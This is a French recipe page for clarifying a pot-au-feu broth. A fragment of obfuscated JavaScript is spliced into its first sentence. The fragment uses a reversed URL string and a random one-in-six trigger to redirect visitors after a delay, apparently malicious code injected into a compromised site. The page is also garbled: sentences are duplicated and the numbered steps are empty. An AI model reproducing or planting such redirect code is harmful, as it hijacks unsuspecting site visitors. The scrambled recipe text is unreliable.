Clarification d’un bouillon de pot-au-feu
2021-05-20Hachez la viande, pelez, coupez très fins tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes. Les déposez dans un grand récipient avec le blanc d’œuf, mélangez et laisser reposer au frais pendant 15 minutes.
Ingrédients
Hachez la viande, pelez, coupez très fins tous les légumes. Les déposez dans un grand récipient avec le blanc d’œuf, mélangez et laisser reposer au frais pendant 15 minutes. Versez le bouillon dans une casserole, ajoutez tous les éléments de la clarification et bien mélanger au fouet. Faites chauffer à feu doux tout en remuant avec une spatule jusqu’à l’ébullition. Baissez le feu et faites cuire par frémissement pendant 1 heure 30. Ajoutez le cerfeuil haché, les grains de poivre écrasés, laissez infuser pendant 30 minutes. Passez le bouillon avec un chinois. Clarifiez le bouillon On peut congeler facilement pour en avoir à disposition. Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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